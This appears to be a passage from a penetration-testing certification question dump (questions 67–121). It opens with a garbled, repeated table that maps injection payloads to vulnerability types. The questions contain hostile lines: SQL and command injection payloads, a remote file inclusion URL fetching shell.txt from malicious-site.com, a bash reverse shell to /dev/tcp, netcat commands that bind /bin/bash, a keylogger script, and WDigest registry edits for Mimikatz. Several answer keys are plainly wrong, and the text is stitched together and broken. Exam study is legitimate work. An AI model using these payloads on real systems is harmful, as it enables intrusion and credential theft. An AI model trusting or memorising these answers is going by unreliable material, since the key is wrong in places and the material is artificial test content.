item=widget'+convert(int,@version)+'	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization ", ;, \$, (,), (,). Input Sanitization ", ' , <...>< +.
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<ul style="list-style-type: none"> Command Injection 	<ul style="list-style-type: none"> Parameterized queries

lookup=\$(whoami)

DOM-based Cross Site Scripting
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Reflected Cross Site Scripting
Local File Inclusion
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URL Redirect

Preventing external calls
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redir=http:%2f%2fwww.malicious-site.com

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Answer:

Payloads	Vulnerability Type	Remediation
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item=widget';waitfor%20delay%20'00:00:20';--	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization " ; , \$, (,), (,). Input Sanitization " ; , ' <...> < +.
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site=www.exe'ping%20-c%2010%20localhost'mple.com	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization " ; , \$, (,), (,). Input Sanitization " ; , ' <...> < +.
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item=widget'+convert(int,@@version)+'	<ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect 	<ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization .., \, /, sandbox requests Input Sanitization " ; , \$, (,), (,). Input Sanitization " ; , ' <...> < +.
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<ul style="list-style-type: none"> Command Injection 	<ul style="list-style-type: none"> Parameterized queries

lookup=\$(whoami)

DOM-based Cross Site Scripting
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Input Sanitization .., \, /, sandbox requests
Input Sanitization ", ;, \$, (,), (,).
Input Sanitization ", ' <...>< +.

redir=http:%2f%2fwww.malicious-site.com

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
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Parameterized queries
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Input Sanitization .., \, /, sandbox requests
Input Sanitization ", ;, \$, (,), (,).
Input Sanitization ", ' <...>< +.

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
Reflected Cross Site Scripting
Local File Inclusion
Remote File Inclusion
URL Redirect

Parameterized queries
Preventing external calls
Input Sanitization .., \, /, sandbox requests
Input Sanitization ", ;, \$, (,), (,).
Input Sanitization ", ' <...>< +.

Explanation:

Remote File Inclusion
URL Redirect
Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)

zisnell.txt

Command Injection
DOM-based Cross Site Scripting
SQL Injection (Error)
SQL Injection (Stacked)
SQL Injection (Union)
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Local File Inclusion
Remote File Inclusion
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lookup=\$(whoami)

Command Injection
DOM-based Cross Site Scripting
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Preventing external calls
Input Sanitization .., \, /, sandbox requests
Input Sanitization ", ;, \$, (,), (,).
Input Sanitization ", ' , <...>< +.

QUESTION NO: 67

In a physical penetration tester testing scenario. the penetration tester obtains physical access to a laptop. The laptop is logged in but locked. Which of the following is a potential NEXT step to extract credentials from the device?

- A.
Brute force the user's password.
- B.
Perform an ARP spoofing attack.
- C.
Leverage the BeEF framework to capture credentials.
- D.
Conduct LLMNR/NETBIOS-ns poisoning.

Answer: A

Explanation:

QUESTION NO: 68

A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement?

- A.**
Nikto
- B.**
WAR
- C.**
W3AF
- D.**
Swagger

Answer: D

Reference: <https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/>

QUESTION NO: 69 DRAG DROP

Instructions:

Analyze the code segments to determine which sections are needed to complete a port scanning script.

Drag the appropriate elements into the correct locations to complete the script.

If at any time you would like to bring back the initial state of the simulation, please click the reset all button.

During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

Drag and Drop Options

```
#1/usr/bin/ruby
```

```
for SPORT In SPORTS:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))
    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))
    except socket.error as e:
        print("%s:%s - CLOSED" % (ip, port))
    finally:
        s.close()
```

```
run_scan(sys.argv[1], ports)
```

```
ports = [21, 22]
```

```
for port in ports:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))
    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))
```

Immutables



```
import socket
import sys
```



```
def port_scan(ip, ports):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)
```



```
if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Execution requires a target IP address. Exiting...')
        exit(1)
    else:
```



Answer:

Drag and Drop Options

```
#!/usr/bin/ruby
```

```
for SPORT In SPORTS:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))
    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))
    except socket.error as e:
        print("%s:%s - CLOSED" % (ip, port))
    finally:
        s.close()
```

```
run_scan(sys.argv[1], ports)
```

```
ports = [21, 22]
```

```
for port in ports:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))
    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))
```

Immutables

```
#!/usr/bin/ruby
```

```
import socket
import sys
```

```
for port in ports:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))
    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))
```

```
def port_scan(ip, ports):
```

```
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)
```

```
    for SPORT In SPORTS:
        try:
            s.connect((ip, port))
            print("%s:%s - OPEN" % (ip, port))
        except socket.timeout:
            print("%s:%s - TIMEOUT" % (ip, port))
        except socket.error as e:
            print("%s:%s - CLOSED" % (ip, port))
        finally:
            s.close()
```

```
if __name__ == '__main__':
```

```
    if len(sys.argv) < 2
```

```
        print('Execution requires a target IP address. Exiting...')
```

```
        exit(1)
```

```
    else:
```

```
        run_scan(sys.argv[1], ports)
```

Explanation:

Drag and Drop Options

```
#!/usr/bin/ruby
```

```
for SPORT In SPORTS:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))

    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))

    except socket.error as e:
        print("%s:%s - CLOSED" % (ip, port))

    finally:
        s.close()
```

```
run_scan(sys.argv[1], ports)
```

```
ports = [21, 22]
```

```
for port in ports:
    try:
        s.connect((ip, port))
        print("%s:%s - OPEN" % (ip, port))

    except socket.timeout:
        print("%s:%s - TIMEOUT" % (ip, port))
```

Immutables

```
import socket
import sys
```

```
def port_scan(ip, ports):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2.0)
```

```
if __name__ == '__main__':
    if len(sys.argv) < 2
        print('Execution requires a target IP address. Exiting...')
        exit(1)
    else:
```

The puzzle requires matching the code snippets to the gaps in the script. The correct sequence is: 1. The first snippet (shebang) to the first gap. 2. The second snippet (for loop) to the second gap. 3. The third snippet (run_scan function call) to the third gap. 4. The fourth snippet (ports list and for loop) to the fourth gap.

QUESTION NO: 70

If a security consultant comes across a password hash that resembles the following:

b117525b345470c29ca3d8ac0b556ba8

Which of the following formats is the correct hash type?

- A.
Kerberos
- B.
NetNTLMv1
- C.
NTLM
- D.
SHA-1

Answer: D

Explanation:

QUESTION NO: 71

During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful.

Which of the following would be the BEST target for continued exploitation efforts?

A.

Operating system: Windows 7

Open ports: 23, 161

B.

Operating system: Windows Server 2016

Open ports: 53, 5900

C.

Operating system: Windows 8.1

Open ports: 445, 3389

D.

Operating system: Windows 8

Open ports: 514, 3389

Answer: C

Explanation:

QUESTION NO: 72

Which of the following would be the BEST for performing passive reconnaissance on a target's external domain?

A.

Peach

B.

CeWL

C.
OpenVAS

D.
Shodan

Answer: D

Reference: <https://www.securitysift.com/passive-reconnaissance/>

QUESTION NO: 73

A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity?

A.
The client has applied a hot fix without updating the version.

B.
The threat landscape has significantly changed.

C.
The client has updated their codebase with new features.

D.
There are currently no known exploits for this vulnerability.

Answer: A

Explanation:

QUESTION NO: 74

An attacker uses SET to make a copy of a company's cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO's login credentials.

A.
Elicitation attack

- B.**
Impersonation attack
- C.**
Spear phishing attack
- D.**
Drive-by download attack

Answer: A

Reference: <https://www.social-engineer.org/framework/influencing-others/elicitation/>

QUESTION NO: 75

A penetration tester is scanning a network for SSH and has a list of provided targets. Which of the following Nmap commands should the tester use?

- A.**
nmap -p 22 -iL targets
- B.**
nmap -p 22 -sL targets
- C.**
nmap -p 22 -oG targets
- D.**
nmap -p 22 -oA targets

Answer: A

Explanation:

QUESTION NO: 76

A penetration tester is required to perform OSINT on staff at a target company after completing the infrastructure aspect. Which of the following would be the BEST step for penetration?

- A.**
Obtain staff information by calling the company and using social engineering techniques.

B.

Visit the client and use impersonation to obtain information from staff.

C.

Send spoofed emails to staff to see if staff will respond with sensitive information.

D.

Search the internet for information on staff such as social networking sites.

Answer: D

Reference: <https://securitytrails.com/blog/what-is-osint-how-can-i-make-use-of-it>

QUESTION NO: 77

A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?

A.

`nc -l -p 4444 /bin/bash`

B.

`nc -vp 4444 /bin/bash`

C.

`nc -p 4444 /bin/bash`

D.

`nc -lp 4444 /bin/bash`

Answer: A

Reference: <https://null-byte.wonderhowto.com/how-to/hack-like-pro-use-netcat-swiss-army-knife-hacking-tools-0148657/>

QUESTION NO: 78

A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.)

A.

Wait outside of the company's building and attempt to tailgate behind an employee.

B.

Perform a vulnerability scan against the company's external netblock, identify exploitable vulnerabilities, and attempt to gain access.

C.

Use domain and IP registry websites to identify the company's external netblocks and external facing applications.

D.

Search social media for information technology employees who post information about the technologies they work with.

E.

Identify the company's external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

Answer: D,E

Explanation:

QUESTION NO: 79

A client has voiced concern about the number of companies being breached by remote attackers, who are looking for trade secrets. Which of the following BEST describes the type of adversaries this would identify?

A.

Script kiddies

B.

APT actors

C.

Insider threats

D.

Hacktivist groups

Answer: B

Reference: https://en.wikipedia.org/wiki/Advanced_persistent_threat

QUESTION NO: 80

A company contracted a firm specializing in penetration testing to assess the security of a core business application. The company provided the firm with a copy of the Java bytecode. Which of the following steps must the firm take before it can run a static code analyzer?

- A.**
Run the application through a dynamic code analyzer.
- B.**
Employ a fuzzing utility.
- C.**
Decompile the application.
- D.**
Check memory allocations.

Answer: D

Explanation:

QUESTION NO: 81

A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.)

- A.**
Tcpdump
- B.**
Nmap
- C.**
Wireshark
- D.**
SSH
- E.**
Netcat

F.

Cain and Abel

Answer: B,D

Explanation:

QUESTION NO: 82

An assessor begins an internal security test of the Windows domain internal.comptia.net. The assessor is given network access via DHCP, but is not given any network maps or target IP addresses. Which of the following commands can the assessor use to find any likely Windows domain controllers?

A.

dig -q any _kerberos._tcp.internal.comptia.net

B.

dig -q any _lanman._tcp.internal.comptia.net

C.

dig -q any _ntlm._tcp.internal.comptia.net

D.

dig -q any _smtp._tcp.internal.comptia.net

Answer: A

Explanation:

QUESTION NO: 83

Click the exhibit button.

```
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ Root page / redirects to: login.php
+ NO CGI Directorities found (use '-C all' to force check
all possible dirs.)
+ File/dir '/' in robots.txt returned a non-forbidden or
redirect HTTP code (302)
+ "robots.txt" contains 1 entry which should be manually
viewed,
+ Apache/2.2.8 appears to be outdated {current is at least
Apache/2.2.22}. Apache 1.3.42 (final release) and 2.0.64
are also current.
+ OSVDB-877: HTTP TRACE method is active, suggesting the
host is vulnerable to XST
+ OSVDB-3268: /dvwa/config/: Directory indexing found.
+ /dvwa/config/: Configuration information may be available
remotely.
+ OSVDB-12184: /dvwa index.php?=PHP88B5F22A0-3C92-11d3-
A3A9-4C7B0BC10000: PHP reveals potentially sensitive
information via certain HTTP requests that contain specific
QUERY strings.
+ OSVDB-3268: : Directory indexing found.
+ OSVDB-3092: /dvwa/login/: This might be interesting...
+ OSVDB-3268: /dvwa/docs/: Directory indexing found.
+ OSVDB-3092: /dvwa/CHANGELOG.txt: A changelog was found.
+ /dvwa/login.php: Admin login page/section found.
+ OSVDB-: /dvwa/?-s: PHP allows retrieval of the source
code via -s parameter, and may allow command execution. See
http://www.kb.cert.org/vuls/id/520827
+ OSVDB-: /dvwa/login.php?-s: PHP allows retrieval of the
source code via -s parameter, and may allow command
execution. See http://www.kb.cert.org/vuls/id/520827
+ 6545 items checked: 10 error(s) and 14 item(s) reported
on remote host
-----
+ End Time:          2012-12-03   01:33:07   (GMT0)   (224
seconds)
+ 1 host (s) tested
```

Given the Nikto vulnerability, scan output shown in the exhibit, which of the following exploitation techniques might be used to exploit the target system? (Choose two.)

- A.
Arbitrary code execution
- B.
Session hijacking

- C.**
SQL injection
- D.**
Login credential brute-forcing
- E.**
Cross-site request forgery

Answer: B,D

Explanation:

QUESTION NO: 84

A penetration tester notices that the X-Frame-Options header on a web application is not set. Which of the following would a malicious actor do to exploit this configuration setting?

- A.**
Use path modification to escape the application's framework.
- B.**
Create a frame that overlays the application.
- C.**
Inject a malicious iframe containing JavaScript.
- D.**
Pass an iframe attribute that is malicious.

Answer: C

Explanation:

QUESTION NO: 85

A penetration test was performed by an on-staff junior technician. During the test, the technician discovered the web application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance?

A.

Document the findings with an executive summary, recommendations, and screenshots of the web application disclosure.

B.

Connect to the SQL server using this information and change the password to one or two non-critical accounts to demonstrate a proof--of-concept to management.

C.

Notify the development team of the discovery and suggest that input validation be implemented with a professional penetration testing company.

D.

Request that management create an RFP to begin a formal engagement with a professional penetration testing company.

Answer: A

Explanation:

QUESTION NO: 86

A company performed an annual penetration test of its environment. In addition to several new findings, all of the previously identified findings persisted on the latest report. Which of the following is the MOST likely reason?

A.

Infrastructure is being replaced with similar hardware and software.

B.

Systems administrators are applying the wrong patches.

C.

The organization is not taking action to remediate identified findings.

D.

The penetration testing tools were misconfigured.

Answer: C

Explanation:

QUESTION NO: 87

Joe, a penetration tester, is asked to assess a company's physical security by gaining access to its corporate office. Joe is looking for a method that will enable him to enter the building during business hours or when there are no employees on-site. Which of the following would be the MOST effective in accomplishing this?

- A.**
Badge cloning
- B.**
Lock picking
- C.**
Tailgating
- D.**
Piggybacking

Answer: A

Explanation:

QUESTION NO: 88

In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once?

- A.**
Common libraries
- B.**
Configuration files
- C.**
Sandbox escape
- D.**
ASLR bypass

Answer: A

Reference: <https://www.stackrox.com/post/2019/02/the-runc-vulnerability-a-deep-dive-on-protecting-yourself/>

QUESTION NO: 89

A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list?

- A.**
Rules of engagement
- B.**
Master services agreement
- C.**
Statement of work
- D.**
End-user license agreement

Answer: C

Explanation:

QUESTION NO: 90

Which of the following BEST explains why it is important to maintain confidentiality of any identified findings when performing a penetration test?

- A.**
Penetration test findings often contain company intellectual property
- B.**
Penetration test findings could lead to consumer dissatisfaction if made public.
- C.**
Penetration test findings are legal documents containing privileged information.
- D.**
Penetration test findings can assist an attacker in compromising a system.

Answer: D

Explanation:

QUESTION NO: 91

The following command is run on a Linux file system:

```
chmod 4111 /usr/bin/sudo
```

Which of the following issues may be exploited now?

- A.**
Kernel vulnerabilities
- B.**
Sticky bits
- C.**
Unquoted service path
- D.**
Misconfigured sudo

Answer: B

Explanation:

QUESTION NO: 92

Given the following script:

```
import pyHook, pythoncom, logging, sys

f="f.txt"
def OnKeyboardEvent (event):
    logging.basicConfig (filename=f, level=logging.DEBUG, format='% (messages)')
    chr (event.Ascii)
    logging.log (10, chr (event.Ascii))
    return True

hm = pyHook.HookManager ()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard ()
pythoncom.PumpMessages ()
```

Which of the following BEST describes the purpose of this script?

- A.**
Log collection

- B.**
Event collection
- C.**
Keystroke monitoring
- D.**
Debug message collection

Answer: C

Reference: <https://www.programcreek.com/python/example/97419/pyHook.HookManager>

QUESTION NO: 93

A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will complete this task?

- A.**
-p-
- B.**
-p ALL
- C.**
-p 1-65534
- D.**
-port 1-65534

Answer: A

Explanation:

QUESTION NO: 94

A penetration tester wants to check manually if a “ghost” vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?

- A.**
Download the GHOST file to a Linux system and compile

```
gcc -o GHOST
```

```
test i:
```

```
./GHOST
```

B.

Download the GHOST file to a Windows system and compile

```
gcc -o GHOST GHOST.c
```

```
test i:
```

```
./GHOST
```

C.

Download the GHOST file to a Linux system and compile

```
gcc -o GHOST.c
```

```
test i:
```

```
./GHOST
```

D.

Download the GHOST file to a Windows system and compile

```
gcc -o GHOST
```

```
test i:
```

```
./GHOST
```

Answer: C

Explanation:

QUESTION NO: 95

A software development team recently migrated to new application software on the on-premises environment. Penetration test findings show that multiple vulnerabilities exist. If a penetration tester does not have access to a live or test environment, a test might be better to create the same environment on the VM. Which of the following is MOST important for confirmation?

A.

Unsecure service and protocol configuration

B.

Running SMB and SMTP service

C.

Weak password complexity and user account

D.

Misconfiguration

Answer: A

Explanation:

QUESTION NO: 96

A tester has captured a NetNTLMv2 hash using Responder. Which of the following commands will allow the tester to crack the hash using a mask attack?

A.

hashcat -m 5600 -r rules/bestG4.rule hash.txt wordlist.txt

B.

hashcat -m 5600 hash.txt

C.

hashcat -m 5600 -a 3 hash.txt ?a?a?a?a?a?a?a

D.

hashcat -m 5600 -o results.text hash.txt wordlist.txt

Answer: C

Explanation:

QUESTION NO: 97

A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which of the following items is required?

A.

The latest vulnerability scan results

B.

A list of sample application requests

C.

An up-to-date list of possible exploits

D.

A list of sample test accounts

Answer: B

Explanation:

QUESTION NO: 98

A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was the program outputting "True".

```
root:~# cat ./test.sh
#!/bin/bash
source=10
let dest=5+5

if [ 'source' = 'dest' ]; then
    echo "True"
else
    echo "False"
fi
#End of File

root:~# ./test.sh
False
```

Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose two.)

A.

Change 'fi' to 'Endli'.

B.

Remove the 'let' in front of 'dest=5+5'.

C.

Change the '=' to '-eq'.

D.

Change 'source' and 'dest' to "\$source" and "\$dest".

E.

Change 'else' to 'elif'.

Answer: B,D

Explanation:

QUESTION NO: 99

After performing a security assessment for a firm, the client was found to have been billed for the time the client's test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

A.

SOW

B.

NDA

C.

EULA

D.

BPA

Answer: D

Explanation:

QUESTION NO: 100

When performing compliance-based assessments, which of the following is the MOST important key consideration?

- A.**
Additional rate
- B.**
Company policy
- C.**
Impact tolerance
- D.**
Industry type

Answer: D

Explanation:

QUESTION NO: 101

A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command:

```
for m in {1..254..1};do ping -c 1 192.168.101.$m; done
```

Which of the following BEST describes the result of running this command?

- A.**
Port scan
- B.**
Service enumeration
- C.**
Live host identification
- D.**
Denial of service

Answer: C

Explanation:

QUESTION NO: 102

A company hires a penetration tester to determine if there are any vulnerabilities in its new VPN concentrator installation with an external IP of 100.170.60.5. Which of the following commands will test if the VPN is available?

A.

`fpipe.exe -l 8080 -r 80 100.170.60.5`

B.

`ike-scan -A -t 1 --sourceip=apoof_ip 100.170.60.5`

C.

`nmap -sS -A -f 100.170.60.5`

D.

`nc 100.170.60.5 8080 /bin/sh`

Answer: B

Explanation:

QUESTION NO: 103

A penetration tester ran the following Nmap scan on a computer:

`nmap -aV 192.168.1.5`

The organization said it had disabled Telnet from its environment. However, the results of the Nmap scan show port 22 as closed and port 23 as open to SSH. Which of the following is the BEST explanation for what happened?

A.

The organization failed to disable Telnet.

B.

Nmap results contain a false positive for port 23.

C.

Port 22 was filtered.

D.

The service is running on a non-standard port.

Answer: A

Explanation:

QUESTION NO: 104

Which of the following has a direct and significant impact on the budget of the security assessment?

- A.**
Scoping
- B.**
Scheduling
- C.**
Compliance requirement
- D.**
Target risk

Answer: D

Explanation:

QUESTION NO: 105

After several attempts, an attacker was able to gain unauthorized access through a biometrics sensor using the attacker's actual fingerprint without exploitation. Which of the following is the MOST likely explanation of what happened?

- A.**
The biometric device is tuned more toward false positives.
- B.**
The biometric device is configured more toward true negatives.
- C.**
The biometric device is set to fail closed.
- D.**
The biometric device duplicated a valid user's fingerprint.

Answer: A

Explanation:

QUESTION NO: 106

A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan.

The tester runs the following command:

```
nmap -p 192.168.1.1, 192.168.1.2, 192.168.1.3 -sV -o --max-rate 2 192.168.1.130
```

Which of the following BEST describes why multiple IP addresses are specified?

A.

The network is subnetted as a/25 or greater, and the tester needed to access hosts on two different subnets.

B.

The tester is trying to perform a more stealthy scan by including several bogus addresses.

C.

The scanning machine has several interfaces to balance the scan request across at the specified rate.

D.

A discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host.

Answer: A

Explanation:

QUESTION NO: 107

Joe, an attacker, intends to transfer funds discreetly from a victim's account to his own. Which of the following URLs can he use to accomplish this attack?

A.

<https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action-ACHTransfer&senderID=654846¬ify=False&creditaccount='OR 1=1 AND select username from testbank.custinfo where username like 'Joe'&amount=200>

B.

<https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action-ACHTransfer&senderID=654846¬ify=False&creditaccount='OR 1=1 AND select username from testbank.custinfo where username like 'Joe' &amount=200>

C.

<https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action-ACHTransfer&senderID=654846¬ify=True&creditaccount='OR 1=1 AND select username from testbank.custinfo where username like 'Joe' &amount=200>

D.

<https://testbank.com/BankingApp/ACH.aspx?CustID=435345&accountType=F&action-ACHTransfer&senderID=654846¬ify=True&creditaccount='AND 1=1 AND select username from testbank.custinfo where username like 'Joe' &amount=200>

Answer: B

Explanation:

QUESTION NO: 108

After a recent penetration test, a company has a finding regarding the use of dictionary and seasonal passwords by its employees. Which of the following is the BEST control to remediate the use of common dictionary terms?

A.

Expand the password length from seven to 14 characters.

B.

Implement password history restrictions.

C.

Configure password filters/

D.

Disable the accounts after five incorrect attempts.

E.

Decrease the password expiration window.

Answer: A

Explanation:**QUESTION NO: 109**

A penetration tester has been asked to conduct OS fingerprinting with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.).

- A.**
-O
- B.**
-iL
- C.**
-V
- D.**
-sS
- E.**
oN
- F.**
-oX

Answer: B,E

Explanation:

Reference <https://securitytrails.com/blog/top-15-nmap-commands-to-scan-remote-hosts#six-scan-hosts-and-ip-addresses-reading-from-a-text-file>

QUESTION NO: 110

A security analyst has uncovered a suspicious request in the logs for a web application. Given the following URL:

http://www.company-site.com/about.php?i=_V_V_V_V_VetcVpasswd

Which of the following attack types is MOST likely to be the vulnerability?

- A.**
Directory traversal
- B.**
Cross-site scripting
- C.**
Remote file inclusion
- D.**
User enumeration

Answer: B

Explanation:

QUESTION NO: 111

A company planned for and secured the budget to hire a consultant to perform a web application penetration test. Upon discovering vulnerabilities, the company asked the consultant to perform the following tasks:

- Code review
- Updates to firewall settings

Which of the following has occurred in this situation?

- A.**
Scope creep
- B.**
Post-mortem review
- C.**
Risk acceptance
- D.**
Threat prevention

Answer: A

Explanation:

QUESTION NO: 112

At the beginning of a penetration test, the tester finds a file that includes employee data, such as email addresses, work phone numbers, computers names, and office locations. The file is hosted on a public web server. Which of the following BEST describes the technique that was used to obtain this information?

- A.**
Enumeration of services
- B.**
OSINT gathering
- C.**
Port scanning
- D.**
Social engineering

Answer: B

Explanation:

QUESTION NO: 113

During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to impersonate network resources and collect authentication requests?

- A.**
Ettercap
- B.**
Tcpdump
- C.**
Responder
- D.**
Medusa

Answer: C

Explanation:

QUESTION NO: 114

Given the following:

`http://example.com/download.php?id-.../.../.../etc/passwd`

Which of the following BEST describes the above attack?

- A.**
Malicious file upload attack
- B.**
Redirect attack
- C.**
Directory traversal attack
- D.**
Insecure direct object reference attack

Answer: C

Explanation:

QUESTION NO: 115

A tester intends to run the following command on a target system:

`bash -i >& /dev/tcp/10.2.4.6/443 0> &1`

Which of the following additional commands would need to be executed on the tester's Linux system to make the previous command successful?

- A.**
`nc -nlvp 443`

B.

nc 10.2.4.6. 443

C.

nc -w3 10.2.4.6 443

D.

nc -e /bin/sh 10.2.4.6. 443

Answer: D

Explanation:

QUESTION NO: 116

During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikatz.

Which of the following registry changes would allow for credential caching in memory?

A.

reg add HKLM\System\ControlSet002\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 0

B.

reg add HKCU\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

C.

reg add HKLM\Software\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

D.

reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

Answer: A

Explanation:

QUESTION NO: 117

Which of the following commands would allow a penetration tester to access a private network from the Internet in Metasploit?

- A.**
set rhost 192.168.1.10
- B.**
run autoroute -s 192.168.1.0/24
- C.**
db_nmap -iL /tmp/privatehosts.txt
- D.**
use auxiliary/server/socks4a

Answer: A

Explanation:

Reference <https://www.offensive-security.com/metasploit-unleashed/pivoting/>

QUESTION NO: 118

A client requests that a penetration tester emulate a help desk technician who was recently laid off. Which of the following BEST describes the abilities of the threat actor?

- A.**
Advanced persistent threat
- B.**
Script kiddie
- C.**
Hacktivist
- D.**
Organized crime

Answer: B

Explanation:

Reference <https://www.sciencedirect.com/topics/computer-science/disgruntled-employee>

QUESTION NO: 119

Click the exhibit button.

```
Wireshark · Packet 58 · wireshark_pcapng_any_20171013094032_F0v1UF

▼ Frame 58: 62 bytes on wire (496 bits). 62 bytes captured (495 bits) on interface 0
  Interface id: 0 (any)
  Encapsulation type: Linux cooked-mode capture (25)
  Arrival Time: Oct 13, 2017 09:42:06.031803085 EDT
  [Time shift for this packet: 0.000000000 seconds]
  Epoch Time: 1507902126.031803085 seconds
  [Time delta from previous captured frame: 0.363170553 seconds]
  [Time delta from previous displayed frame: 0.363170553 seconds]
  [Time since references or first frame: 93/693209117 seconds]
  Frame Number: 58
  Frame Length: 62 bytes (496 bits)
  Capture Length: 62 bytes (496 bits)
  [Frame is marked: True]
  [Frame is ignored: False]
  [Protocols in frame:
  [Coloring Rule Name:
  [Coloring Rule String:

▼ Linux cooked capture
  Packet type: Broadcast (1)
  Link-layer address type: 1
  Link-layer address length: 6
  Source: Dell_88:d9:9b (5c:26:0a:88:d9:9b)
  Protocol (0x0806)
  Padding: 00000000000000000000000000000000

▼
  Hardware type: Ethernet (1)
  Protocol type: IPv4 (0x0800)
  Hardware size: 6
  Protocol size: 4
  Opcode: request (1)
  Sender MAC address: Dell_88:d9:9b (5c:2b:0a:88:d9:9b)
  Sender IP address: 192.168.1.4
  Target MAC address: 00: 00: 00: 00: 00: 00 (00: 00: 00: 00: 00: 00)
  Target IP address: 192.168.1.1
```

A penetration tester is performing an assessment when the network administrator shows the tester a packet sample that is causing trouble on the network. Which of the following types of attacks should the tester stop?

- A.
SNMP brute forcing
- B.
ARP spoofing
- C.
DNS cache poisoning
- D.
SMTP relay

Answer: A

Explanation:

QUESTION NO: 120

A recently concluded penetration test revealed that a legacy web application is vulnerable to SQL injection. Research indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not in a position to risk the availability on the application. Under such circumstances, which of the following controls are low-effort, short-term solutions to minimize the SQL injection risk? (Choose two.)

A.

Identify and eliminate inline SQL statements from the code.

B.

Identify and eliminate dynamic SQL from stored procedures.

C.

Identify and sanitize all user inputs.

D.

Use a whitelist approach for SQL statements.

E.

Use a blacklist approach for SQL statements.

F.

Identify the source of malicious input and block the IP address.

Answer: C,D

Explanation:

QUESTION NO: 121

A penetration tester, who is not on the client's network, is using Nmap to scan the network for hosts that are in scope. The penetration tester is not receiving any response on the command:

